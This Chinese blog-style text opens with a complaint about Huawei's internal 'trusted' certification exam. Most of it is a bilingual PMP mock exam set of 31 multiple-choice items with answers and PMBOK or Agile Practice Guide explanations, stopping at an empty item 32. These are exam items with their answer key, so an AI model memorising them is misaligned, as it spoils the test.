和去年考PMP的感受完全不一样,项目管理知识点书上和视频里都有,出的题目目标清晰,只要投入时间精力学习,参加考试都不会太差,很大的概率能通过,而且还能自己收集错题集,可以查漏补缺,并不想可信考试一样不能查看自己做错的题目,扣扣搜搜的,感觉就像是恶心死你。 最后总结下华为可信考试最恶心的几点 花了大量时间参加培训,学习,考试的题目基本上就只有三分之一的题目,剩下的就是没培训到的,就是靠猜,占正式考试得比例非常低 考试的题目,资料,模拟自测有些题目给的答案不一定正确,这次是这样,等到考试又是那样得答案 考了模拟自测,题目不给看,又不能收集错题,完全就是恶心人 考试前和模拟自测的题目,跟正式的考试完全不一样,考试前的模拟我还能考108分及格,而正式考试哪就是做白日梦。 公司里的题目和相关帖子只能在公司里看,想要学习,还必须得到公司 出的题目又太细,咬文嚼字,出题不清晰,给的答案每次都不一样 考试范围很广,不仅要学习测试知识,还要学习可信知识,Java 代码,数据结构,不是那种了解的,要不仅理解,还要很熟悉 一年只有三次机会,完全就是卡着消耗你大部分时间精力 想想那些考试能通过的人,也不知道是怎么学习的。培训资料,视频没有的知识点,考试的时候他们是怎么把题目做对的?恶心人的考试也能过? 不过通过这次学习和考试,总结了一点,每个知识点必须要理解,而且要记住。 ### 【旧版】PMP模拟三题目集(对题) 旧版PMP模拟三,做对题目集。 《【旧版】PMP模拟三错题集》 1、 [多选] 项目经理说:“我现在不能处理这件事。"此时,该项目经理用的何种冲突解决技巧?What conflict resolution technique is a project manager using when he says, I cannot deal with this issue now!  A :解决问题 Problem solving  B :强迫 Forcing  C : 撤退 Withdrawal  D :妥协 Compromising 正确答案:C 你的答案:C 解析:知识点出处: PMBOK 6th 页码:P349 章节:9.5.2.1 撤退/回避:从实际或潜在冲突中退出,将问题推迟到准备充分的时候,或者将问题推给其他人员解决。 对项目影响不大的时候,项目经理可以选择回避。 2、 [多选] 一家组织正在开展一个软件应用程序开发项目,有不同的相关方参与到该项目的不同阶段。项目经理应该如何让相关方在整个项目过程中参与?An organization is working on a software application development project with different stakeholders involved in different stages of the project. How should the project manager involve stakeholders throughout the project?  A :使用来自相关方的信息来制定项目需求 Use information from interested parties to develop project requirements  B : 定期与所有相关方确认关键项目决策 Regularly confirm key project decisions with all interested parties  C :让相关方参与制定项目商业论证 Involve interested parties in developing project business case  D :不断与所有相关方分享项目状态报告 Continuously share project status reports with all interested parties 正确答案:B 你的答案:B 解析:知识点出处:PMBOK 6th 页码:P522 章节:13.2.3.1 相关方参与计划是项目管理计划的组成部分。 它确定用于促进相关方有效参与决策和执行的策略和行动。 解析规划好相关方的定期决策,让相关方持续参与项目。 3、 [多选] 你的上一个敏捷项目遭受了各种各样的延迟,比如陈述和验证需求、编写和测试代码、要求客户澄清需求和接收澄清之间的时间间隔。在即将到来的敏捷项目中,你希望应用一些精益敏捷实践来确保减少或完全消除时间浪费。在计划即将到来的项目时,你最好的行动方案是什么?Your last agile project suffered from various delays, such as time passing between stating and verifying requirements, writing and testing code, and asking customers to clarify requirements and receiving clarifications. In your upcoming agile project, you want to apply some lean-agile practices to ensure that time waste reduced or entirely eliminated. What is your best course of action while planning your upcoming project?  A :制定并严格执行详细的项目管理计划 Develop and rigorously follow a detailed project management plan  B :使用根本原因分析技术查找过程中的瓶颈 Use the root cause analysis techniques to find bottlenecks in the process  C : 创建自主团队并为他们提供所需的资源 Create a self-directed team and provide them with the resources they need  D :安排与客户的电话会议以明确要求 Schedule conference calls with the customer to clarify requirements 正确答案:C 你的答案:C 解析:知识点出处:敏捷实践指南 页码:P9 章节:2.2 自组织团队最符合敏捷的价值观和原则 4、 [多选] 项目经理被批准执行一个价值1200万美元为期三年的项目,6个月后,25%项目已完成,项目团队开支为400万美元。 计算完进度绩效指数和成本绩效指数后,下一步应该做什么?The project manager is approved to execute a $12million, three-year project. After 25% of the project is completed. What is the next step after calculating the schedule performance index and cost performance index?  A :要求更多资金 Ask for more money  B : 执行偏差分析 Perform variance analysis  C :制定绩效预测 Develop performance forecast  D :提交变更请求 Submit a change request 正确答案:B 你的答案:B 解析:知识点出处: PMBOK 6th 页码:P262 章节:7.4.2.2 偏差分析:成本和进度偏差是最需要分析的两种偏差。可开展偏差分析,通过比较计划成本和实际成本,来识别成本基准与实际项目绩效之间的差异;然后可以实施进一步的分析,以判定偏离进度基准的原因和程度,并决定是否需要采取纠正或预防措施 先进行偏差分析,再确认是否要采取纠正或预防措施。ACD都是纠正或预防措施。 5、 [多选] 一项目经理正在解决两名团队成员间的纠纷。一个人说系统应在测试之前集成,另一个说每个系统应该在集成之前分别测试。该项目包含 30 个人,要集成 12 个系统。出资人要求集成要按时。项目经理应该怎么说能够最好的解决这个冲突?A project manager is trying to settle a dispute between two team members. One says the systems should be integrated before testing, and the other maintains each system should be tested before integration. The project involves over 30 people, and 12 systems need to be integrated. The sponsor is demanding that integration happen on time. What is the BEST statement the project manager can make to resolve the conflict?  A :按我说的方法做 Do it my way.  B :让我们冷静下来,把工作做完 Let's calm down and get the job done.  C :我们先都冷静一下,下周再来处理 Let's deal with this again next week after we all calm down.  D : 让我们集成之前先部分测试,集成之后再全部测试 Let's do limited testing before implementation and finish testing after implementation. 正确答案:D 你的答案:D 解析:知识点出处: PMBOK 6th 页码:P349 章节:9.5.2.1 妥协/调解:为了暂时或部分解决 冲突,寻找能让各方 都在一定程度上满意的方案。 A强迫 B缓解 C撤退 D妥协 6、 [多选] 一家公司启动了一个与开发新服务相关的项目,而该公司并不具有此类专业知识。项目经理了解到,运营部门不批准且可能不支持持续维护。 项目经理应该怎么做?A Company launches a project related to the development of a new service, and the Company does not have this expertise. The project manager understands that the Operations Department does not approve and may not give support for the ongoing maintenance. What should the project manager do?  A :执行沟通需求分析,并记录该情况 To perform communication needs analysis and record the situation  B :根据之前项目的信息,创建一份风险识别核对单 Create a checklist of risk identification based on information from previous projects  C :将此活动包含在工作分解结构(WBS)中,并在发生时对其进行处理 To include this activity into the Work Breakdown Structure (WBS) and process it when occurred  D : 评估如何获得该部门的项目支持,以减少任何负面影响 To assess how to get project support from the department to reduce any negative impact 正确答案:D 你的答案:D 解析:知识点出处: PMBOK 6th 页码:P512 章节:13.1.2.3 相关方分析:相关方分析会产生相关方清单 和关于相关方的各种信息,例如,在组织内的位置、在项目中的角色、与项目的利害关系、期望、态度(对项目的支持程 度),以及对项目信息的兴趣。 注意相关方的核心思想就是管理相关 方的抵制与支持。 7、 [多选] 当一个敏捷团队进行第七次迭代时,一个新相关方加入了该项目。相关方经常联系团队成员以请求信息并质疑他们的方法。Scrum主管注意到团队的生产力下降了。对于Scrum主管来说,最好的行动方案是什么?As an agile team works its way through the seventh iteration, a new stakeholder joins the project. The stakeholder frequently contacts the team members to request information and question their methods. The scrum master notices that the productivity of the team drops. What is the best course of action for the scrum master?  A : 清除妨碍团队进展的障碍和阻碍 Remove impediments and roadblocks that interfere with the team's progress  B :鼓励团队与相关方互动,并满足他们的需求 Encourage the team to interact with and address the needs of the stakeholder  C :将团队从相关方和任何其他外部影响中隔离出来 Isolate the team from the stakeholder and any other external influences  D :为团队提供他们需要的任何东西,以提高他们的积极性和生产力 Provide the team with anything they need to be more motivated and productive 正确答案:A 你的答案:A 解析:知识点出处: 敏捷实践指南 页码:P34 章节:4.2.1 仆人式领导的职责:仆人式领导通过管理关系, 在团队内和组织中建立沟通与协作。这些关系可以帮助领导在组织中得心应手地为团队提供支持。这种支持有助于消除障碍,促进团队理顺过程。 在敏捷实践中,项目经理重要的核心工作就是消除障碍。 8、 [多选] 你正在预测管理项目的敏捷阶段的中途。公司CEO刚刚通知你们,由于疫情蔓延,所有非必要人员将被要求远程工作,包括你们的项目团队。然而,资源管理计划要求使用集中办公来增强沟通和协作。你的最佳行动方案是什么?You are midway into an agile phase of a predictively managed project. You have just been notified by the company's CEO that, due to a growing pandemic, all non-essential personnel will be required to work remotely, including your project team. However, the resource management plan mandates the use of physical colocation to enhance communication and collaboration. What is your best course of action?  A : 请求变更资源管理计划,以合并使用虚拟工具在远程环境中集中办公 Request a change to the resource management plan to incorporate the use of virtual tools to replicate colocation in a remote environment  B :检查虚拟团队成员的需求,调查替代方案,并实现虚拟团队成员参与的选项 Examine virtual team member needs, investigate alternatives, and implement options for virtual team member engagement  C :提交变更请求以更新项目管理计划,将项目管理方法从混合式转变成预测性 Submit a change request to update the project management plan to migrate the project management approach from hybrid to predictive  D :将项目暂停直到疫情结束,然后让小组回到现场工作,以遵守资源管理计划 Put the project on hold until the pandemic is over and then bring the team back on-site to comply with the resource management plan 正确答案:A 你的答案:A 解析:知识点出处: PMBOK 6th 页码:P357 章节:9.6.3.2 如果控制资源过程出现变更请求,或者推荐的纠正措施 或预防措施影响了项目管理计划的任何组成部分或项目 文件,项目经理应提交变更请求。并通过实施整体变更 控制过程(见 4.6节)对变更请求进行审查和处理。 确定变更了,就提交变更,更改资源管理计划。 9、 [多选] 自项目开始以来,作为项目经理同事的职能经理一直公开反对该项目,在讨论项目里程碑交付的团队会议期间,职能经理评论该里程碑没有实现,因为它无法满足质量需求。项目经理应该做什么?The functional manager as a project manager colleague has publicly opposed the project since the project began, and during a team meeting discussing the delivery of a project milestone, the functional manager commented that the milestone was not achieved because it failed to meet quality requirements. What should the project manager do ?  A :接受他的意见避免与职能经理发生冲突 Accept the opinions to avoid conflicts with functional managers  B :向发起人升级上报该职能经理缺乏协作的能力 Escalate to the sponsor and report that the functional manager lacks the ability to collaborate  C :忽略该职能经理的评论并接受该里程碑 Ignore the function manager's comment and accept the milestone  D : 与职能经理一起审查里程碑的质量验收标 准Review milestone quality acceptance criteria with functional managers 正确答案:D 你的答案:D 解析:知识点出处: PMBOK 6th 页码:P286 章节:8.1.3.1 质量管理计划:质量管理计划包括(但不限于)以下组成部分: • 项目采用的质量标准; • 项目的质量目标; • 质量角色与职责; • 需要质量审查的项目 可交付成果和过程; 到底有没有满足质量需求, 看质量标准即可。 10、 [多选] 随着项目进行,项目经理会收到相关方的抱怨,他们声称项目状态会议和电子邮件报告太少,无法让相关方了解项目的最新状态。项目经理审查沟通管理计划,并提交变更请求以修改报告状态的方式。项目经理最好在变更请求中包含以下哪项?As the project progresses, the project manager gets complaints from stakeholders who say that project status meetings and email reports are too infrequent to keep the stakeholders up-to-date with the project's status. The project manager reviews the communications management plan and submits a change request to modify the way the status is reported. Which of the following is best for the project manager to include in the change request?  A : 结合使用信息发射源 Incorporating the use of information radiators  B :终止分发电子邮件报告 Eliminating the distribution of email reports  C :在每日站会汇报项目状况 Reporting project status at the daily standups  D :将项目状态发送给更少的相关方 Sending project status to fewer stakeholders 正确答案:A 你的答案:A 解析:知识点出处: 敏捷实践指南 页码:P152 章节:术语表 信息发射源:它是一种可见的实物展示其向组织内其他成员提供信息在不干扰团队的情况下即时实现知识共享。 信息发射源一般包括看板、燃尽图、燃起图、障碍日志等 在敏捷项目中,使用可见的实物展示信息更透明化。 C每日站会不报告项目状态。 11、 [多选] 一个只有一位项目经理的小型组织决定从传统的瀑布式项目管理方法过渡到敏捷。然而,相关的组织人员缺乏敏捷方法的经验。该组织选择使用混合生命周期作为过渡战略。还应该做些什么来促进过渡?A small organization with one project manager decides to transit from a traditional waterfall project management approach to agile. However, the relevant organizational personnel lack experience with agile methodologies. The organization has elected to use hybrid life cycles as a transition strategy. What else should be done to facilitate the transition?  A :将现有项目经理替换成经验丰富的外部敏捷教练 Replace the existing project manager with an experienced external agile coach  B :建立指令性项目管理办公室(PMO)来领导过渡 Establish a directive project management office (PMO) to lead the transition  C :将项目经理的角色完全化为敏捷团队的自我管理 Eliminate the project manager's role entirely as agile teams are self-managing  D : 聘请外部敏捷教练协助组织进行过渡 Contract an external agile coach to assist the organization with the transition 正确答案:D 你的答案:D 解析:知识点出处: 敏捷实践指南 页码:P30 章节:3.1.11 许多团队无法在一夜之间切换到敏捷工作方式。因此,计划一个渐进的过渡是有意义的。 A还需要项目经理 B指令型错误 C暂时无法完全 敏捷化 12、 [多选] 根据沟通管理计划,项目应该使用仪表板向相关方传达信息。一些团队成员在更新他们在仪表板上的项目数据时遇到了一些困难。对项目经理来说,最好的行动方案是什么?According to the communications management plan, the project should use a dashboard to communicate information to stakeholders. Some team members are struggling to keep their project data current. What is the best action for the project manager?  A :鼓励团队成员尽可能输入任何信息 Encourage team members to enter any information whenever they can  B : 向那些在及时报告上有困难的团队成员提供帮助 Offer help to those team members who are struggling to report on time  C :让团队专注于他们的工作并代表他们报告状态 Have the team focus on their work and report the status on their behalf  D :减少或调整那些无法保持数据最新状态的格式 Reduce or adjust the format of those not able to keep their data current 正确答案:B 你的答案:B 解析:知识点出处: PMBOK 6th 页码:P342 章节:9.4.2.6 培训:如果项目团队成员缺乏必要的管理或技术技能,可以把对这种技能的培养作为项目工作的一部分。 A,没有意义 C,数据输入还是得 团队成员来 D,先教会成员, 若的确有问题再调整。 13、 [多选] 在一个职能型组织中,一位关键的项目资源在咨询项目经理之前直接与客户进行沟通。这位资源之前经常发生这种问题,该资源已同意所有客户沟通必须先得到项目经理的批准。 项目经理应该怎么做?In a functional organization, a key project resource communicates directly with the customer without consulting the project manager. This is a common issue for this resource.The resource had agreed that all customer communications would first be approved by the project manager. What should the project manager do?  A : 与该资源的职能经理开会,讨论该资源的行为 Meet with the resource’s functional manager to discuss the resource's behavior  B :召开团队会议以识别并纠正该资源的错误 Conduct a team meeting to identify and correct the resource’s mistake  C :与项目发起人召开会议,以讨论该资源的行为 Hold a meeting with the project sponsor to discuss the resource’s behavior  D :与客户开会以确认所有沟通都应该通过项目经理 Meet with the customer to confirm that all communications should go through the project manager 正确答案:A 你的答案:A 解析:知识点出处: PMBOK 6th 页码:P47 章节:2.4.4.2 职能型:联络员,无权限; 矩阵型:项目经理,一定权限 ;项目型:项目经理,所有权限 职能型组织中, 团队的行为只能找职能经理沟通。 14、 [多选] 项目团队负责制造 10,000 个小零件。基于集中检查 500 个零件的批次质量是控制质量工具哪一种的实例?The project team is responsible for creating 10,000 small parts. Basing the quality of the batch on an intensive review of 500 parts is an example of what quality control tool?  A :质量审计 Quality audit  B :帕累托原则 Pareto principle  C : 统计抽样 Statistical sampling  D :检查 Inspection 正确答案:C 你的答案:C 解析:知识点出处: PMBOK 6th 页码:P303 章节:8.3.2.1 统计抽样:统计抽样是指从目标总体中选 取部分样本用于检查(如从 75 张工程图纸中随机抽取10 张)。 样本用于测量控制和确认质量。抽样的频率和规模应在规划 质量管理过程中确定。 取部分样本进行检查。 15、 [多选] 项目经理正在领导一个正在努力协作的多元文化团队。项目经理一开始将此视为团队建设的典型震荡阶段,但团队未能成功通过该阶段。结果,项目开始落后于进度。项目经理在第一次发现这个问题时应该做什么?The project manager is leading a multicultural team that is working hard to collaborate. The project manager initially regarded this as a typical shock phase of team building, but the team failed to successfully pass this phase. As a result, the project began to lag behind schedule.What should the project manager do when he first discovers this problem?  A :命令团队成员将他们的分歧放在一边,努力实现共同的项目目标 Order team members to set aside their differences and work towards common project goals  B :让团队成员放心,一旦他们彼此熟悉,冲突便会减少 Reassure team members that conflicts will decrease once they become familiar with each other  C : 召开团队讨论和会议,以处理不同文化的做法和沟通风格 Convening team discussions and meetings to deal with different cultural practices and communication styles  D :确定哪些团队成员造成冲突,并采用循序渐进的纪律处分措施 Determine which team members are causing the conflict and use progressive disciplinary measures 正确答案:C 你的答案:C 解析:知识点出处: PMBOK 6th 页码:P338 章节:9.4 塔克曼阶梯理论:形成阶段、震荡阶段、规范阶段、成熟阶段、解散阶段 震荡阶段,项目经理采用教练技术。陪伴团队一起解决问题。 16、 [多选] 敏捷教练协助团队召开会议,对团队刚刚完成的迭代进行反思和调整。教练和团队成员为讨论设置了阶段,创建了迭代过程中发生的事情的共享图片,评估在前一步中生成的数据,并决定如何处理讨论过程中确定的问题。这次会议的下一步应该是什么?An agile coach facilitates a meeting with the team to reflect and adapt on the iteration the team has just completed. The coach and the team members set the stage for the discussion, create a shared picture of what happened during the iteration, evaluate the data generated in the previous step, and decide what to do about the problems identified during the discussion. What should be the next step in this meeting?  A :执行决策 Implement the decisions  B : 结束会议 Close the meeting  C :演示产品 Demonstrate the product  D :解散参与者 Dismiss the participants 正确答案:B 你的答案:B 解析:知识点出处: 敏捷实践指南 页码:P50 章节:5.2.1 回顾总结会:回顾是最重要的一个实践,原因是它能让 团队学习、改进和调整其过程。 回顾会的三个步骤,反思—改进—计划。题干中步骤完成,结束会议。 17、 [多选] 项目的成本绩效指数(CPI)和进度绩效指标(SPI)均大于1.0 ,项目经理减少投入以保持进度。 在这个过程中,什么会保持不变?A project’s cost performance index (CPI) and schedule performance index (SPI) are both greater than 1.0.The project manager decreases inputs to maintain the schedule.During this process, what remains unchanged?  A :进度 Schedule  B :成本 Cost  C :成本与进度 Cost and schedule  D : 进度基准 Schedule baseline 正确答案:D 你的答案:D 解析:知识点出处: PMBOK 6th 页码:P263 章节:7.4.2.2 挣值分析:进度绩效指数(SPI)是测量进度效率的一种指标,表示为挣值与计划价值之比,反映了项目团队完成工作的效率。 当 SPI 小于 1.0 时,说明已完成的工作量未达到计划要求;当 SPI 大于 1.0 时, 则说明已完成的工作量超过计划。 只要没有通过变更修改基准,基准就不会变。 18、 [多选] 在一件设备交付到项目现场之后,最终用户投诉产品与预期不同,为避免这种情况,该使用哪一项工具或技术?After a piece of equipment is delivered to the project site, the end-users complain the product is different from what was expected. To avoid this situation, what tool or technique should manager have used?  A : 检查 Inspection  B :帕累托分析 Pareto analysis  C :多标准决策分析 Multicriteria decision analysis  D :专家判断 Expert judgment 正确答案:A 你的答案:A 解析:知识点出处: PMBOK 6th 页码:P166 章节:5.5.2.1 检查:检查是指开展测量、审查与 确认等活动,来判断工作和可交付成果是否符合需求和产品验收标准。 通过检查来判断工作和可交付成果是否符合需求和产品验收标准 19、 [多选] 在项目执行期间,项目经理发现在规划期间未考虑政府法规。经过详细分析后,项目经理解决了这个问题。若要阻止再次发生这个问题,项目经理应该做什么?During project execution, the project manager found that government regulations were not considered during the planning period. After a detailed analysis, the project manager resolved the issue. What should the project manager do to prevent this problem from happening again?  A :将该过程记录在风险登记册中 Record this process in the risk register  B :在问题日志中记录该事项 Record this in the issue log  C : 更新经验教训 Update lessons learned  D :向指导委员会通知解决方案 Inform the steering committee of the solution 正确答案:C 你的答案:C 解析:知识点出处: PMBOK 6th 页码:P104 章节:4.4.3.1 经验教训登记册: 经验教训登记册可以记录遇到的挑战、问题、意识到的风险和机会,或其他适用的内容。 经验教训登记册在早期创建,在整个项目期间,它可以作为 很多过程的输入,也可以作为输出而不断更新。 经验教训改善未来绩效 20、 [多选] 一个项目涉及来自一个知名供应商的硬件,在项目的中间阶段,该项目经理注意到硬件的质量下降。一名团队成员希望立即开展质量检查。哪一份文件中包含检查规定?A project involves hardware from a reputable supplier.In the middle of the project,the project manager notice that the quality of the hardware has declined;a team member wants to conduct a quality inspection immediately.What document contains the provisions for inspection?  A : 质量测量指标 Quality metrics  B :风险登记册 Risk register  C :采购合同 Procurement contract  D :绩效报告 Performance reporting 正确答案:A 你的答案:A 解析:知识点出处: PMBOK 6th 页码:P287 章节:8.1.3.2 质量测量指标: 质量测量指标专用于描述项目或产品属性,以及控制质量过程将如何验证符合程度 质量该怎么检查,检查到什么程度,在质量测量指标里。 21、 [多选] 一个大型项目涉及许多专业团队,在规划期间,项目经理需要团队负责人提供工作量估算以及与任务相关的最终成本。项目经理应该要求团队负责人提供什么?A large project involves many professional teams, and during planning, the project manager needs the team leader to provide workload estimates and the final costs associated with the task.What should the project manager ask the team leader to provide?  A :单点估算,因为它们更准确并且更容易规划预算 Single-point estimates because they are more accurate and easier to plan your budget  B : 对没有发生风险的任务进行一次估算,对与潜在风险相关的额外成本进行一次估算 Settle once for tasks where no risk has occurred, and estimate the additional costs associated with potential risks  C :基于最佳案例场景分析的单点估算 Single point estimation based on best case scenario analysis  D :估算除风险经理处理之外的风险 Estimating risks other than those handled by the risk manager 正确答案:B 你的答案:B 解析:知识点出处: PMBOK 6th 页码:P246 章节:7.2.3.1 应急储备: 成本估算包括对完成项目工作可能需要的成本、应对已识别风险的应急储备,以及应对计划外工作的管理储备的量化估算。 应急储备用于已知风险管理储备用于未知风险 22、 [多选] 在每日站会上,项目经理与团队成员逐个交流,询问每个成员已经完成的工作,并批评他们到目前为止团队进展缓慢。会议持续了近一个小时,最后变成了一个状态会议。项目经理应该做些什么来避免下次的站会变成状态会议?During a daily standup meeting, the project manager goes from one team member to another questioning each one on the work they have accomplished and reprimanding them for the slow progress the team made so far. The meeting lasts for almost an hour and turns into a status meeting. What should the project manager do differently to avoid the next standup meeting turning into a status meeting?  A :使用在会议开始30分钟后配置为报警的计时器 Use a timer configured to alarm 30 minutes after the start of the meeting  B :将开发生命周期从适应型切换到预测 Switch the development life cycle from adaptive to predictive  C : 让团队成员代替项目经理来引导站会 Have a team member to facilitate the standup instead of the project manager  D :只关注阻碍进展的障碍和阻碍的问题 Only focus on issues that represent roadblocks and impediments to progress 正确答案:C 你的答案:C 解析:知识点出处: 敏捷实践指南 页码:P54 章节:5.2.4 站会中常见的一个反模式是,站会变成了状态报告会议。 团队可以举办自己的站会。只要体现了团队工作需要的 密切合作,进行顺利,站会便会非常有用。要针对团队 何时需要站会、站会是否有效等问题有意识地做出决定。 站会可以自组织,让团队成员轮流主持。站会非状态报告会。 23、 [多选] 在什么时候通过增加剩余项目的预算(利用业绩表现修正的)达到当前实际的计算EAC的方法最经常使用?When is the most frequently used method of calculating EAC by increasing the budget of the remaining projects (corrected by performance) to achieve the current actual calculation?  A :在偏离被视为非典型的偏离的时候 Current variances are viewed as atypical ones  B :由于条件发生变化,初始的估计假定不再可信的时候 Original estimating assumptions are no longer reliable because conditions have changed  C : 当前的偏离被视为未来偏离的代表的时候 Current variances are viewed as typical of future variances  D :初始的估计假定被认为存在根本性缺陷的时候 Original estimating assumptions are considered to be fundamentally flawed 正确答案:C 你的答案:C 解析:知识点出处: PMBOK 6th 页码:P265 章节:7.4.2.2 预测:假设以当前 CPI 完成 ETC 工作。这种方法假设项目将按 截至目前的情况继续进行,即 ETC工作将按项目截至目前的累计成本绩效指数(CPI) 实施。公式:EAC = BAC/CPI。 利用业绩表现修正,说明偏差 具备代表性, 属于典型偏差。 24、 [多选] 一个大型建设项目正处于实施阶段。根据项目进度表,今天项目经理有三个项目新相关方的单独指导会议。 当指导这些相关方时,项目经理可能执行下列哪一个项目管理过程?(选择两个)A large construction project is in the execution stage. According to the project schedule, today the project manager has individual mentoring sessions with three stakeholders that are new to the project. When mentoring these stakeholders, which of the following project management processes might the project manager be performing? (Choose two)  A :制定项目章程 Develop Project Charter  B :制定沟通管理计划 Plan Communications Management  C :识别相关方 Identify Stakeholders  D : 管理沟通 Manage Communications  E : 建设团队 Develop Team 正确答案:D,E 你的答案:D,E 解析:知识点出处: PMBOK 6th 页码:P379 章节:10.2 管理沟通:管理沟通是确保项目 信息及时且恰当地收集、 生成、发布、存储、 检索、管理、监督和最终处置的过程。 项目经理按计划做事,说明是在执行阶段,只有DE是执行 25、 [多选] 一个关键相关方坚持团队用正式的文档广泛地记录软件代码。产品负责人解释说,虽然一定数量的文档是必要的,但团队成员最好把时间花在开发软件上,因为这对客户来说代表了最大的价值。产品负责人向相关方解释了以下哪一种敏捷概念?A key stakeholder insists that the team extensively documents the software code in a formal document. The product owner explains that while a certain amount of documentation is necessary, the team members time is better spent developing the software because it is what represents the most value to the customer. Which of the following agile concepts does the product owner explain to the stakeholder?  A :略微分配 Fractionally assigned  B :服务型领导 Servant leadership  C : 勉强够用 Barely sufficient  D :结对编程 Pair programming 正确答案:C 你的答案:C 解析:知识点出处:敏捷实践指南 页码:P9 章节:2.2 工作的软件大于流程和文档。 26、 [多选] 敏捷项目进入第三次迭代。尽管团队坚持遵循敏捷最佳实践,但Scrum主管还是觉得团队动态存在问题。每个团队成员都独立工作,在Scrum活动中,团队成员之间不开放,避免冲突。团队目前在Tuckman开发模型的哪个阶段运行,Scrum主管可以做些什么来帮助团队进入下一个阶段?An agile project enters its third iteration. Even though the team diligently adheres to agile best practices, the scrum master feels that there is something wrong with the team dynamics. Each team member works independently, and during scrum events, the team members are not open to one another and avoid conflict. In what stage of the Tuckman development model does the team currently operate, and what can the scrum master do to help the team to move onto the next stage?  A :震荡阶段;Scrum主管需要帮助团队在冲突中找到方向,实现高绩效 Storming; the scrum master needs to help the team navigate the conflict towards high performance.  B :规范阶段;Scrum主管需要帮助团队将不健康和低效的冲突放在一边 Norming; the scrum master needs to help the team put conflict aside as unhealthy and nonproductive  C :成熟阶段;Scrum主管需要确保冲突得到缓解,以便让团队成员继续工作 Performing; the scrum master needs to ensure conflict is mitigated to keep the team members on task.  D : 形成阶段;Scrum主管需要帮助团队认识到冲突是具生产力且有必要的 Forming; the scrum master needs to help the team acknowledge that conflict is productive and necessary. 正确答案:D 你的答案:D 解析:知识点出处: PMBOK 6th 页码:P338 章节:9.4 形成阶段:冲突低,信任低 震荡阶段:冲突高,信任低 规范阶段:冲突高,建立信任 成熟阶段:冲突低,信任高 团队成员避免冲突,相互独立,说明不信任对方,但是没有冲突,说明还在形成阶段。 27、 [多选] 最后的项目迭代刚刚开始。在审查信息发射源之后,项目经理意识到团队将无法完成项目计划的所有剩余工作。很明显,如果不增加更多的开发人员,进度基准将无法实现,或者一些工作包将不得不从WBS删除。对项目经理来说,最好的行动方案是什么?Last project iteration has just begun. After reviewing the information radiators, the project manager realizes that the team will be unable to complete all the remaining work planned for the project. It is evident that without adding more developers, either the schedule baseline will be unattainable, or some work packages will have to be removed from the WBS. What is the best course of action for the project manager?  A :在下次迭代回顾中向团队提出这个问题 Raise the issue with the team at the next iteration retrospective  B : 和产品负责人见面,并建议赶工 Meet with the product owner and suggest crashing the schedule  C :要求Scrum主管找到延迟的根本原因 Request that the scrum master find the root cause for the delay  D :要求团队成员加班以完成所有项目目标 Ask the team to work overtime to meet all the project objectives 正确答案:B 你的答案:B 解析:知识点出处: PMBOK 6th 页码:P228 章节:6.6.2.6 进度压缩: 采用进度压缩技术(见 6.5.2.6 节)使进度落后的项目活动赶上计划,可以对 剩余工作使用快速跟进或赶工方法。 从题干来看这是混合型生命周期。会见PO 是为了划分优先级, 赶工是瀑布型做法。 28、 [多选] 在一个项目中,一家公司替换了其CEO,该CEO提出了一项新的五年战略计划。目前的项目完全符合这一新战略,但项目发起人希望修改项目的范围以适应该战略。 项目经理应该做什么?In a project, a company replaced its CEO, who proposed a new five-year strategic plan. The current project is fully in line with this new strategy, but the project sponsor hopes to modify the scope of the project to suit the strategy.What should the project manager do?  A : 要求项目发起人发起变更请求 Ask the project sponsor to initiate a change request  B :修订项目章程,以反映范围变更 Revise the project charter to reflect changes in scope  C :在风险登记册中包含变更的影响 Include the effects of the change in the risk register  D :更新项目管理计划,以包含该变更 Update the project management plan to include the change 正确答案:A 你的答案:A 解析:知识点出处: PMBOK 6th 页码:P113 章节:4.6 变更流程: 变更提出后,先分析影响,再提交含解决措施的变更请求给 CCB 审批前,三步骤提出变更-分析影响-提交审批 29、 [多选] 项目经理在项目执行中途负责管理该项目。项目相关方对团队绩效和交付表示担忧。团队成员向项目经理保证,根据批准的范围,项目符合进度计划和预算。 若要管理这项目的相关方,项目经理应查阅哪份文件?The project manager is responsible for managing the project in the midway of the project. Project stakeholders are concerned about team performance and delivery. The team members assure the project manager that the project is in line with the schedule and budget according to the approved scope. Which document should the project manager review to manage the stakeholders involved in this project?  A : 绩效报告 Performance Report  B :项目管理信息系统 (PMIS)Project Management Information System (PMIS)  C :绩效改进计划 Performance Improvement Plan  D :培训计划 Training Program 正确答案:A 你的答案:A 解析:知识点出处: PMBOK 6th 页码:P382 章节:10.2.1.3 工作绩效报告: 根据沟通管理计划的定义,工作绩效报告会通过本过程传递给项目相关方可以表现为有助于引起关注、制定决策和采取行动的仪表指示图、热点报告、 信号灯图或其他形式。 相关方担心绩效,就把绩效报告给相关方看,用以引起 关注或制定决策。 30、 [多选] 一名关键项目相关方撤回对项目的财务支持。项目现在资金不足,可能会取消,项目经理应该怎么做?A key project stakeholder withdraws financial support for the project.The project is currently underfunded and may be cancelled.What should the project manager do?  A : 与该项目相关方开会,确定撤回财务支持的原因 To hold a meeting with the project stakeholders to identify the reason for withdrawing financial support  B :与团队一起头脑风暴成本节约方案 To brainstorm cost savings solution with the team  C :寻找愿意提供财务支持的新项目相关方 To find new project stakeholders who are willing to provide financial support  D :与项目发起人开会,建议取消项目 To hold a meeting with the project sponsor, it is recommended to cancel project 正确答案:A 你的答案:A 解析:知识点出处: PMBOK 6th 页码:P128 章节:4.7.3.4 如果项目在完工前提前终止,则需要在正式的收尾文件中 说明项目终止的原因,并规定正式程序,把该项目的已完成和未完成的可交付成果移交他人。 项目可能中止,是否中止应该由领导决定,项目经理调查原因。 31、 [多选] 在某建设工程项目的地基开挖过程中,对于因气候原因造成的进度延后风险,项目经理采取了风险接受的策略。由于在施工期间下特大雨,工程不得不停工3天。项目经理应该怎么做?During the foundation excavation of a construction project, the project manager adopts risk acceptance strategy for the delay risk caused by climate reasons. Due to the extremely heavy rain during the construction period, the project has to be suspended for 3 days.  A : 使用应急储备 To use emergency reserves  B :把项目工期延长3天 To extend the project duration by 3 days  C :要求保险公司赔偿 To make a claim to the insurer  D :与团队成员开会讨论处理方案 To meet and discuss with team members for handling solutions 正确答案:A 你的答案:A 解析:知识点出处: PMBOK 6th 页码:P443 章节:11.5.2.4 接受风险接受是指承认威胁的存在,但不主动采取措施。 接受策略又分为主动或被动方式。最常见的主动接受策略是 建立应急储备。被动接受策略则不会主动采取行动。 最常见的主动接受策略是建立应急储备。 32、 [多选] 